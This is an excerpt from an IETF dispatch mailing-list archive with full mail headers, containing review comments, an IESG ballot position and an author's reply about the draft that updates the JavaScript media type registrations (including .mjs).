From nobody Mon Jan 3 01:40:51 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id A85713A0D88; Mon, 3 Jan 2022 01:40:49 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.099 X-Spam-Level: X-Spam-Status: No, score=-2.099 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (1024-bit key) header.d=eggert.org Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id sUlX0iaJF8Uk; Mon, 3 Jan 2022 01:40:45 -0800 (PST) Received: from mail.eggert.org (mail.eggert.org [91.190.195.94]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 0D6C93A0D87; Mon, 3 Jan 2022 01:40:45 -0800 (PST) Received: from smtpclient.apple (unknown [IPv6:2a00:ac00:4000:400:9455:5e97:5df3:fdf9]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mail.eggert.org (Postfix) with ESMTPSA id C3A171D21AD; Mon, 3 Jan 2022 11:40:24 +0200 (EET) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=eggert.org; s=dkim; t=1641202824; bh=8VtAygNuLtmW8JW56svLVSy9dy7CXZsFwMmFO6YmRjY=; h=Subject:From:In-Reply-To:Date:Cc:References:To; b=pnSpCT1t3G2Huhve44e3QkR3AQytRICeKzeErOv3+e+rFcm7D4oBqf9YHbACuHrYB 0w5MGM59itPQMOwOYFUkq7A54kBfNcjkPDqYlti20EZr9EHc5Ph9m0UCYzBQDThb76 J4Jwbh3bG278sL2bN0dn7XqMLAT51hjm2jgEHVvs= Content-Type: multipart/signed; boundary="Apple-Mail=_A1D77454-BC83-4866-AF1C-4FDE4B6B24DF"; protocol="application/pgp-signature"; micalg=pgp-sha512 Mime-Version: 1.0 (Mac OS X Mail 15.0 \(3693.40.0.1.81\)) From: Lars Eggert In-Reply-To: <163666615497.23068.10861141804252308923@ietfa.amsl.com> Date: Mon, 3 Jan 2022 11:40:21 +0200 Cc: gen-art@ietf.org, last-call@ietf.org, dispatch@ietf.org, draft-ietf-dispatch-javascript-mjs.all@ietf.org Message-Id: <335543B6-E579-4E76-A8F6-D6222C47CF5C@eggert.org> References: <163666615497.23068.10861141804252308923@ietfa.amsl.com> To: Robert Sparks X-MailScanner-ID: C3A171D21AD.A37EE X-MailScanner: Found to be clean X-MailScanner-From: lars@eggert.org Archived-At: Subject: Re: [dispatch] [Last-Call] Genart last call review of draft-ietf-dispatch-javascript-mjs-10 X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 03 Jan 2022 09:40:50 -0000 --Apple-Mail=_A1D77454-BC83-4866-AF1C-4FDE4B6B24DF Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=us-ascii Robert, thank you for your review. I have entered a No Objection ballot = for this document. Lars > On 2021-11-11, at 23:29, Robert Sparks via Datatracker = wrote: >=20 > Reviewer: Robert Sparks > Review result: Ready with Nits >=20 > I am the assigned Gen-ART reviewer for this draft. The General Area > Review Team (Gen-ART) reviews all IETF documents being processed > by the IESG for the IETF Chair. Please treat these comments just > like any other last call comments. >=20 > For more information, please see the FAQ at >=20 > . >=20 > Document: draft-ietf-dispatch-javascript-mjs-10 > Reviewer: Robert Sparks > Review Date: 2021-11-11 > IETF LC End Date: 2021-11-15 > IESG Telechat date: Not scheduled for a telechat >=20 > Summary: Ready (but with nits) for publication as an Informational RFC >=20 > The number of messages in the archive about the draft are impressive, = if not > daunting. Apologies if any of my nits tread old ground. >=20 > I'm glad this has seen attention from many people better with i18n = than I am. >=20 > I'm curious why the registrations choose to declare the .mjs extension = in > anything but the now preferred type. If they're in all the obsoleted = type > registrations because they're used in the wild with those types, fine. = But if > it was a template replication process that put them there, maybe = reconsider? >=20 > I agree with Mark that the form and repetition of variants of 'not = part of this > document' is unusual. Consider saying it less, and maybe consolidating = what you > do need to say. >=20 > There are a few places where the document says implementations or = scripts MUST > consider something. Neither of those things can consider. Please = consider > rephrasing those to speak of the implementers or script creators. This = is also > not a great use of 2119/8174 terms. Think about using plain words = instead. >=20 > The last sentence of the second paragraph of section 3 doesn't fit = with the > first. Perhaps it should stand alone. >=20 > Please point explicitly to the types registry in the text of the = document. >=20 > Micro-nit: search for timin`g >=20 >=20 >=20 > -- > last-call mailing list > last-call@ietf.org > https://www.ietf.org/mailman/listinfo/last-call --Apple-Mail=_A1D77454-BC83-4866-AF1C-4FDE4B6B24DF Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEEmpq0ZpSoejRmyhheVLXDCb9wwVcFAmHSxIUACgkQVLXDCb9w wVchXg/7BESQ94mSf8sJN0WLLGAIfZ+WEPsuJyKMCAZn/YNDJsnK63uIKH0Bc3DA rdxu+K0HrKRiX4/Zh5zbNS5o9/UUKWW3eAb2IKzvZEGLKsj4cast5jW47FsfH53U bRTmAiLDaMGccJcLFJN4bAI3BH4XsKijHVpAIRWydEA5KhGDgT3KoQinOCxGpUuC GFIysi4HIhnr9IF8Zg4bgWUE4cagNnnUwmVGKbi8gIgzg30JhGkKa/hKG+yq5z5m YLBGdfcoglGjT0Ng5ksnOosCR27aRoSflrMCJMEKV9vmd/JcGo/JVxZJgWAJTaoa OzF28QTFpMWruU34TaPeIfMurJosJMdKqORgiWyDtBlZYGfA3Xej8880JMD6GV6A 8qlTrGglwvBbyofW8KiaQby6jRXSixfQxRGeAxL/k0Bn8nIzGqdk2D0uLSQItDDu 0Sj+t9O5jEmE+NKGbJV7uSbn9R7Er/xa07HVLwIgV+xNGcms/Ozt3mdaKQZ8jYf2 7/hhmfjysLgc9UFwlrLpksa/71AlDS+yeN8fPbU4x1hSW1AUOhH9tqf79YT8hbJm hOIbGBEfAKIIY9MHVoMJLjSQv9hP2UN1++GIsfl9NTTH0Q4m6sk6MhfL3wVkVrbq dYPD9AMavluM+/BW8CASO6OwcXlsAvBF8sES1RlCb7lk++ypzks= =3vMF -----END PGP SIGNATURE----- --Apple-Mail=_A1D77454-BC83-4866-AF1C-4FDE4B6B24DF-- From nobody Mon Jan 3 04:16:03 2022 Return-Path: X-Original-To: dispatch@ietf.org Delivered-To: dispatch@ietfa.amsl.com Received: from ietfa.amsl.com (localhost [IPv6:::1]) by ietfa.amsl.com (Postfix) with ESMTP id A8B1B3A124F; Mon, 3 Jan 2022 04:16:01 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: =?utf-8?q?=C3=89ric_Vyncke_via_Datatracker?= To: "The IESG" Cc: draft-ietf-dispatch-javascript-mjs@ietf.org, dispatch-chairs@ietf.org, dispatch@ietf.org, Ben Campbell , ben@nostrum.com X-Test-IDTracker: no X-IETF-IDTracker: 7.41.0 Auto-Submitted: auto-generated Precedence: bulk Reply-To: =?utf-8?q?=C3=89ric_Vyncke?= Message-ID: <164121216097.11389.15651087256093939724@ietfa.amsl.com> Date: Mon, 03 Jan 2022 04:16:01 -0800 Archived-At: Subject: [dispatch] =?utf-8?q?=C3=89ric_Vyncke=27s_No_Objection_on_draft-?= =?utf-8?q?ietf-dispatch-javascript-mjs-12=3A_=28with_COMMENT=29?= X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 03 Jan 2022 12:16:02 -0000 Éric Vyncke has entered the following ballot position for draft-ietf-dispatch-javascript-mjs-12: No Objection When responding, please keep the subject line intact and reply to all email addresses included in the To and CC lines. (Feel free to cut this introductory paragraph, however.) Please refer to https://www.ietf.org/blog/handling-iesg-ballot-positions/ for more information about how to handle DISCUSS and COMMENT positions. The document, along with other ballot positions, can be found here: https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/ ---------------------------------------------------------------------- COMMENT: ---------------------------------------------------------------------- Thank you for the work put into this document. Please find below ssome non-blocking COMMENT points (but replies would be appreciated even if only for my own education), and some nits. Special thanks to Ben Campbell for the shepherd's write-up including the section about the WG consensus for this update and on RFC 4329. I hope that this helps to improve the document, Regards, -éric == COMMENTS == -- Section 3 -- Is TC39 so well-known by the IETF community that no expansion/explanation is required? -- Section 5 -- This security section is pretty extensive (good thing) and I wonder whether it is relevant to this document as it is not related to the media types themselves but more on the scripting language itself. == NITS == -- Section 4.2 -- Suggestion, add "else" on steps 2 and 3 to be clear. From nobody Mon Jan 3 04:43:39 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id E62813A12DD for ; Mon, 3 Jan 2022 04:43:33 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -17.099 X-Spam-Level: X-Spam-Status: No, score=-17.099 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIMWL_WL_MED=-0.001, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001, USER_IN_DEF_DKIM_WL=-7.5, USER_IN_DEF_SPF_WL=-7.5] autolearn=unavailable autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=google.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id WsX2vMg9WQy7 for ; Mon, 3 Jan 2022 04:43:29 -0800 (PST) Received: from mail-pf1-x429.google.com (mail-pf1-x429.google.com [IPv6:2607:f8b0:4864:20::429]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id CB2A73A12DE for ; Mon, 3 Jan 2022 04:43:29 -0800 (PST) Received: by mail-pf1-x429.google.com with SMTP id u20so29317183pfi.12 for ; Mon, 03 Jan 2022 04:43:29 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=DgMHS8XVAUyIDIx0UYaIkBiS1AvyonYrvnOTlFYE2Ds=; b=BNTWfEoKtc2YlA9437S05/FmtZ7o4ehmaB30+oCz3wqxTK0Uv00a71b8ITdj3Il2Su kc1mrbFWNz0Eotop+DuHQHti13+CKBZXtdPcCKdS/Rkg5IANTVUANsYFTKecWhkK6umm ldX3bB1pLbX4FwC/rn24X7vDVeur6c8gITwVB7Dki8o0JirDfVBXTpKIt53oIxEOG3VL N2b5gWeF1hVPQNjSvXQyvMVarLC5mGsGqHrzCtQ5R2jyCV37KfdseRLoAmk03iCKNiVW 43OEEqchpM985vzYZrCkb1Sbnzre9MwbnrtCkznRHhL0D/imY3/x4SjO4gB9fyS1KvfG JRGg== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=DgMHS8XVAUyIDIx0UYaIkBiS1AvyonYrvnOTlFYE2Ds=; b=gk+nrbu26c8wno0ztFhC5coZqscyAdMgEwqdjXME1IIZnVApwiQJOpKHr1AXkSsAA1 dJgkUB00zU+UsEbnPiyKowwbLISmsS52f/j42FpTrsSD9OiCBOwPL8CIVuoG7gvpqFNU eIcZo1y1Z5Tn2bhoLCBPuT5SM5oZdC1ixrNuFUU93Ot1NcAWqNI+CiyO8Gt6mS7FSWf7 CTpgrqhyK7wlh6Ws/bgPaOWOLN6vXEA4lFtH+MorcEjje4PPCJbZ5dRAIWRwvNiI/Czh SFK9XsyLZxMcO46PJ4o/ZzekIohwhuNGvshkPLAYSbX2g6gosCyuWuiRNumZE3bzpISs Pssw== X-Gm-Message-State: AOAM532ixiBlO9KrPBL45ErivKhQ8/78ZGQACqfZ3fjBlMt3gxJsVC9F Zu0WLlzTxGIxKX1gMPrUY+u70I6ABwUmvMoksnRp8g== X-Google-Smtp-Source: ABdhPJwZG3Dx7XYyVydsXfqtIpTlaPvdTUiDXMcAp5rVdnXufxEO6e18GSacMS69u9+x5bxtkyzjxAZY32wDeqe5Jdk= X-Received: by 2002:a62:150f:0:b0:4ba:bac8:e8c5 with SMTP id 15-20020a62150f000000b004babac8e8c5mr45929246pfv.22.1641213806746; Mon, 03 Jan 2022 04:43:26 -0800 (PST) MIME-Version: 1.0 References: <164121216097.11389.15651087256093939724@ietfa.amsl.com> In-Reply-To: <164121216097.11389.15651087256093939724@ietfa.amsl.com> From: Mathias Bynens Date: Mon, 3 Jan 2022 13:43:14 +0100 Message-ID: To: =?UTF-8?B?w4lyaWMgVnluY2tl?= Cc: The IESG , draft-ietf-dispatch-javascript-mjs@ietf.org, dispatch chairs , DISPATCH WG , Ben Campbell Content-Type: multipart/alternative; boundary="000000000000f40d6505d4acdd6b" Archived-At: Subject: Re: [dispatch] =?utf-8?q?=C3=89ric_Vyncke=27s_No_Objection_on_draft-?= =?utf-8?q?ietf-dispatch-javascript-mjs-12=3A_=28with_COMMENT=29?= X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 03 Jan 2022 12:43:34 -0000 --000000000000f40d6505d4acdd6b Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable Thanks for taking a look, =C3=89ric. On behalf of the authors, I=E2=80=99ll= respond to your comments inline: On Mon, Jan 3, 2022 at 1:16 PM =C3=89ric Vyncke via Datatracker wrote: > =C3=89ric Vyncke has entered the following ballot position for > draft-ietf-dispatch-javascript-mjs-12: No Objection > > When responding, please keep the subject line intact and reply to all > email addresses included in the To and CC lines. (Feel free to cut this > introductory paragraph, however.) > > > Please refer to https://www.ietf.org/blog/handling-iesg-ballot-positions/ > for more information about how to handle DISCUSS and COMMENT positions. > > > The document, along with other ballot positions, can be found here: > https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/ > > > > ---------------------------------------------------------------------- > COMMENT: > ---------------------------------------------------------------------- > > Thank you for the work put into this document. > > Please find below ssome non-blocking COMMENT points (but replies would be > appreciated even if only for my own education), and some nits. > > Special thanks to Ben Campbell for the shepherd's write-up including the > section about the WG consensus for this update and on RFC 4329. > > I hope that this helps to improve the document, > > Regards, > > -=C3=A9ric > > =3D=3D COMMENTS =3D=3D > > -- Section 3 -- > > Is TC39 so well-known by the IETF community that no expansion/explanation > is > required? > TC39 is the standards body in charge of ECMAScript, a.k.a. the JavaScript language. The only mention of =E2=80=9CTC39=E2=80=9D in the draft gives the= following context: ``` The TC39 standards body for ECMAScript has determined that media types are outside of their scope of work [TC39-MIME-ISSUE]. ``` What would you consider to be missing? Happy to expand on this. > -- Section 5 -- > This security section is pretty extensive (good thing) and I wonder > whether it > is relevant to this document as it is not related to the media types > themselves > but more on the scripting language itself. > Two notes: 1. The security section builds upon the one from RFC4329 ( https://datatracker.ietf.org/doc/html/rfc4329#section-5) which our draft aims to supersede. Removing it would be a regression. 2. I see your point =E2=80=94 the security risks are *mostly* related to th= e language. IMHO the security section is still worth including, as for e.g. browser implementations, the MIME type is what determines whether a given resource is processed as a script or not. Thus, failing to respect the media types as stated (e.g. accepting additional, non-standard media types as if they were JavaScript) would constitute a security risk. =3D=3D NITS =3D=3D > > -- Section 4.2 -- > Suggestion, add "else" on steps 2 and 3 to be clear. > This section was inherited from RFC4329 as-is, and we=E2=80=99ve been hesit= ant to make changes to it. However, this change seems small and harmless enough, so I=E2=80=99ve prepared a patch here: https://github.com/linuxwolf/bmeck-ids/pull/59 --000000000000f40d6505d4acdd6b Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
Thanks for taking a look,=C2=A0=C3=89ric.= On behalf of the authors, I=E2=80=99ll respond to your comments inline:
On Mon, Jan 3, 2022 at 1:16 PM =C3=89ric Vyncke via Datatracker <= ;noreply@ietf.org> wrote:
=C3=89ric Vyncke has e= ntered the following ballot position for
draft-ietf-dispatch-javascript-mjs-12: No Objection

When responding, please keep the subject line intact and reply to all
email addresses included in the To and CC lines. (Feel free to cut this
introductory paragraph, however.)


Please refer to https://www.ietf.org/blog/h= andling-iesg-ballot-positions/
for more information about how to handle DISCUSS and COMMENT positions.


The document, along with other ballot positions, can be found here:
https://datatracker.ietf.org/doc= /draft-ietf-dispatch-javascript-mjs/



----------------------------------------------------------------------
COMMENT:
----------------------------------------------------------------------

Thank you for the work put into this document.

Please find below ssome non-blocking COMMENT points (but replies would be appreciated even if only for my own education), and some nits.

Special thanks to Ben Campbell for the shepherd's write-up including th= e
section about the WG consensus for this update and on RFC 4329.

I hope that this helps to improve the document,

Regards,

-=C3=A9ric

=3D=3D COMMENTS =3D=3D

-- Section 3 --

Is TC39 so well-known by the IETF community that no expansion/explanation i= s
required?

TC39 is the standards body in= charge of ECMAScript, a.k.a. the JavaScript language. The only mention of = =E2=80=9CTC39=E2=80=9D in the draft gives the following context:
=
```
=C2=A0 =C2=A0The TC39 standards body for ECMAScript= has determined that media
=C2=A0 =C2=A0types are outside of their = scope of work [TC39-MIME-ISSUE].
```

Wha= t would you consider to be missing? Happy to expand on this.
=C2= =A0
-- Section 5= --
This security section is pretty extensive (good thing) and I wonder whether= it
is relevant to this document as it is not related to the media types themse= lves
but more on the scripting language itself.

<= div>Two notes:

1. The security section builds upon= the one from RFC4329 (https://datatracker.ietf.org/doc/html/rfc4329#section-5= ) which our draft aims to supersede. Removing it would be a regression.
2. I see your point =E2=80=94 the security risks are *mostly* relate= d to the language. IMHO the security section is still worth including, as f= or e.g. browser implementations, the MIME type is what determines whether a= given resource is processed as a script or not. Thus, failing to respect t= he media types as stated (e.g. accepting additional, non-standard media typ= es as if they were JavaScript) would constitute a security risk.
=
=3D=3D NITS =3D= =3D

-- Section 4.2 --
Suggestion, add "else" on steps 2 and 3 to be clear.

This section was inherited from=C2=A0RFC4329 as-is,= and we=E2=80=99ve been hesitant to make changes to it. However, this chang= e seems small and harmless enough, so I=E2=80=99ve prepared a patch here:= =C2=A0https://gi= thub.com/linuxwolf/bmeck-ids/pull/59
--000000000000f40d6505d4acdd6b-- From nobody Mon Jan 3 05:04:20 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 19CC93A0127; Mon, 3 Jan 2022 05:04:17 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -9.595 X-Spam-Level: X-Spam-Status: No, score=-9.595 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, RCVD_IN_MSPIKE_H3=0.001, RCVD_IN_MSPIKE_WL=0.001, SPF_NONE=0.001, URIBL_BLOCKED=0.001, USER_IN_DEF_DKIM_WL=-7.5] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (1024-bit key) header.d=cisco.com header.b=INkE25fu; dkim=pass (1024-bit key) header.d=cisco.onmicrosoft.com header.b=w/U2/RwX Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id CHWku-KC5dBS; Mon, 3 Jan 2022 05:04:11 -0800 (PST) Received: from alln-iport-8.cisco.com (alln-iport-8.cisco.com [173.37.142.95]) (using TLSv1.2 with cipher DHE-RSA-SEED-SHA (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 84FBF3A0128; Mon, 3 Jan 2022 05:04:11 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=cisco.com; i=@cisco.com; l=17267; q=dns/txt; s=iport; t=1641215051; x=1642424651; h=from:to:cc:subject:date:message-id:references: in-reply-to:mime-version; bh=K1q9mjMLTJbd+104A4FSnR05aEwjsdDxuQS8n2eVKbo=; b=INkE25fub/QjQkVMTuHZF1OoM4cBEYA+Lcnj+dQV2rtGE8NA+cm0KbFG Znu/AvxW1l7D/h51yl65NaEOv4Zh/ZRVaFeVDxh7Ce8r8DmBjSdJpfNFf ieUfuDUlUgJBNREx+oq5VPSCfx0c95GlQ9QOGAmeacggxJasjiazY1NxO Q=; X-IPAS-Result: =?us-ascii?q?A0D3AADk89Jhl4cNJK1aHgEBCxIMgg4LgSExVX9aNzGER?= =?us-ascii?q?4NHA4U5hQ6DAgOBKZRnhQ6BLhSBEQNUCwEBAQ0BATUMBAEBhQYCF4MlAiU0C?= =?us-ascii?q?Q4BAgQBAQEBAwIDAQEBAQUBAQUBAQECAQYEFAEBAQEBAQEBHQcGDAUOECeFa?= =?us-ascii?q?A2GQgEBAQEDEhEdAQE3AQ8CAQgOAwMBAigDAgICMBQGAwgCBA4FFAIMglwBg?= =?us-ascii?q?g5XAy8BDp8JAYE6AoofeoExgQGCCAEBBgQEgUpBgwAYgjYDBoE6gw6EHAEBg?= =?us-ascii?q?lqELCccgUlEgRUnDBCCZz6CYwEBAgGBKAESAUENCYJiN4IujxtyZAQYChkIC?= =?us-ascii?q?AYCIF9/BAIFI0sDkXQEgwZGiTWNbJJUCoNCinKOX4VzBS6DcIwIl2+FS5Brg?= =?us-ascii?q?kSKPJQkC4R4AgQCBAUCDgEBBjWBLDk7MHBwFWUBgj5RGQ+OIBkegzuFFIVKd?= =?us-ascii?q?DgCBgEKAQEDCQGCOoxjAQE?= IronPort-PHdr: A9a23:BaczSxZW5zoQKEQBV/eg3IX/LTAphN3EVzX9orIriLNLJ6Kk+Zmqf EnS/u5kg1KBW4LHo+lFhOzbv+GFOyQA7J+NvWpEfMlKUBkI2skTlhYrVciCD0CzJfX2bis8S cJFUlIt/3yyPUVPXsjkYFiHqXyp5jlUERL6ZmJI IronPort-Data: A9a23:eTIexaBYoMnlKhVW/9/jw5YqxClBgxIJ4kV8jS/XYbTApG8q0DNTm mMWXzuHPfqNZ2rxedEgboi2oBkAsJCDzdRlOVdlrnsFo1CmBibm6XV1Cm+qYkt+++WaFBoPA /3z6bAsFehsJpPmjk/F3oPJ8D8shclkepKmULSeYnkpHlc+IMscoUsLd9AR09YAbeeRW2thi fuqyyEIEAb4s9LcGjt8B5Or8HuDjtyr0N8rlgBWicRwgbPrvyJ94KTzik2GByCQroF8RoZWT gtYpV2z1juxExwFUrtJnltnG6EHaua6AOSAtpZZc6KCvQhyq3Mr6Y0cDKsfRHgMoAqizt8kn b2htbToIesoFqTInOJYWB5CHmQke6ZH47TAZ3O4tKR/zWWfLCCqmKsoVRpwZNZFkgp0KTkmG fgwJS4caBuAisq9wamwTa9ngcFLwMzDbNpE5S85lmGEZRogaY2fGZyS+e9T5SwTm9pxPsqPQ 5AbbwM6OXwsZDUWagtIV/rShtyAjHT5Wztfs06PuK9x6G/WpCR90aP1OcbeevSLSNlb2EGCq Qru82XiGhgGP9zawjqM82i3ru7CgS29X5gdfJW07PdknBiSy3AdTREXTkOyvfK5z0y3RdtEI FYV4jZrqKop3E2mUte7WAe3yFaFswUTc9tdD+N87xuCooLR/waCLmcDSTFFZZots8peeNAx/ laNm9WsDjt1vfjPD3mc7byT6zi1PED5MFPuewcObTQV09S8uboYqSqeTftcS4WKpYz6TGSYL y+xkAAygLAajMgu3qq9/Ezajz/EmnQvZlNtjukwdj/+hj6VdLJJdKTzsgGCsqgowJKxCwjf4 idVwqBy+chXVcnlqcCbfAka8FhFDd6sNDnRhzaD9LF+qmz0oBZPkW2siQySyW9gNsICPDTue kKW40Va5YRYOz2haqofj2ON5yYCkPaI+TfND628gj9yjn5ZL1fvEMZGPhb44owVuBJw+ZzTw L/CGSpWMV4UCL580B29TPoH3Lkgy0gWnD2PHMmnn07/juTCORZ5rIvp1nPTMojVC4vZ/m3oH yp3a6NmNj0GCrSlO3mLmWLtBQlXdyJT6W/KRzx/L77ffVUO9JAJAP7KyrRpYJ1+g6lQjY/1E oKVBCdlJK7ErSSfc22iMyk7AJu2BMoXhS9qZkQEYAf3s1B9OtzHxPlEKPMKkUwPqbULIQhcF KFVJa1tw51nF1z6xtjqRcWn8dE5Kk303Vnm0ujMSGFXQqOMjjfhorfMFjYDPgFXZsZrnaPSe 4Gd6z4= IronPort-HdrOrdr: A9a23:6mHVqqPQ+caBAcBcT2L155DYdb4zR+YMi2TDiHoRdfUFSKKlfp 6V88jzjSWE9wr4WBkb6Le90dq7MA3hHP9OkMgs1NKZPDUO11HYV72KgbGSpgEIXheOitK1tp 0QM5SWaueAd2SS5PySiGLTfrpQo6jkzEnrv5ai854Hd3ANV0gU1XYANu/tKDwOeOApP+tcKL Osou584xawc3Ueacq2QlMfWfLYmtHNnJX6JTYbGh8O8mC1/HCVwY+/NyLd8gYVUjtJz7tn23 PCiRbF6qKqtOz+4gPA1lXU849dlLLau5l+7Y23+40owwfX+0GVjbdaKvu/VfcO0biSAWMR4Z 3xStEbTpxOAj3qDzqISFDWqnjdOX4Vmg/fIBmj8CHeSQiTfkNnNyKH7rgpLycxonBQzu2Vms hwrhGknosSAhXakCvn4d/UExlsi0qvuHIn1fUelnpFTOIlGfNsRKEkjQlo+a07bW/HAUEcYZ 9TJdCZ4OwTfUKRbnjfsGUqyNuwXm4rFhPDRkQZoMSa3zVfgXg8liIjtYIit2ZF8Ih4R4hP5u zCPKgtnLZSTtUOZaY4AOsaW8O4BmHEXBqJOmOPJlbsEr0BJhv22tHKyaRw4PvvdI0DzZM0lp iEWFREtXQqc0arEsGK1I0jyGGHfIx8Z0Wk9ihz3ekMhlTMfsujDcTYciFaryKJmYRpPvHm X-IronPort-Anti-Spam-Filtered: true X-IronPort-AV: E=Sophos;i="5.88,258,1635206400"; d="scan'208,217";a="813761385" Received: from alln-core-2.cisco.com ([173.36.13.135]) by alln-iport-8.cisco.com with ESMTP/TLS/DHE-RSA-SEED-SHA; 03 Jan 2022 13:04:09 +0000 Received: from mail.cisco.com (xbe-rcd-002.cisco.com [173.37.102.17]) by alln-core-2.cisco.com (8.15.2/8.15.2) with ESMTPS id 203D49mw005950 (version=TLSv1.2 cipher=AES256-SHA bits=256 verify=OK); Mon, 3 Jan 2022 13:04:09 GMT Received: from xfe-rcd-003.cisco.com (173.37.227.251) by xbe-rcd-002.cisco.com (173.37.102.17) with Microsoft SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.986.14; Mon, 3 Jan 2022 07:04:09 -0600 Received: from xfe-aln-004.cisco.com (173.37.135.124) by xfe-rcd-003.cisco.com (173.37.227.251) with Microsoft SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.986.14; Mon, 3 Jan 2022 07:04:08 -0600 Received: from NAM11-BN8-obe.outbound.protection.outlook.com (173.37.151.57) by xfe-aln-004.cisco.com (173.37.135.124) with Microsoft SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.986.14 via Frontend Transport; Mon, 3 Jan 2022 07:04:08 -0600 ARC-Seal: i=1; a=rsa-sha256; s=arcselector9901; d=microsoft.com; cv=none; b=Q27DiQ0J9jUx+Lk2LjCWhO7+muhq2CsfjrydxZG4dzVahZ+wHePUhrrOOa9ozTu/HCPl4ooOZxDPWr17t+RTaSIspcKIF03Bq/h4cqMD9uVTYXkiOUKKCbTU4ZTsooMlgzNat+1C0MP+976O+6fIxYDjNaaw+TSuwwmsogtd/CnYzS0nYozKg9b/pZDeGGaFmks/H8aAnWPF5QO0fVoa2Gor2qZaDzjcOIxo79pZ2+1v1Y+qijbLi7lhHfJscp0S3WhGIzuH4cWq9TL9xBocbL339NKdLrdD9vGTLZM7a7VG/kL70ZV7+PDGHbKMGFoAxMjfjtPF2dtGvlP4QiguoA== ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com; s=arcselector9901; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1; bh=K1q9mjMLTJbd+104A4FSnR05aEwjsdDxuQS8n2eVKbo=; 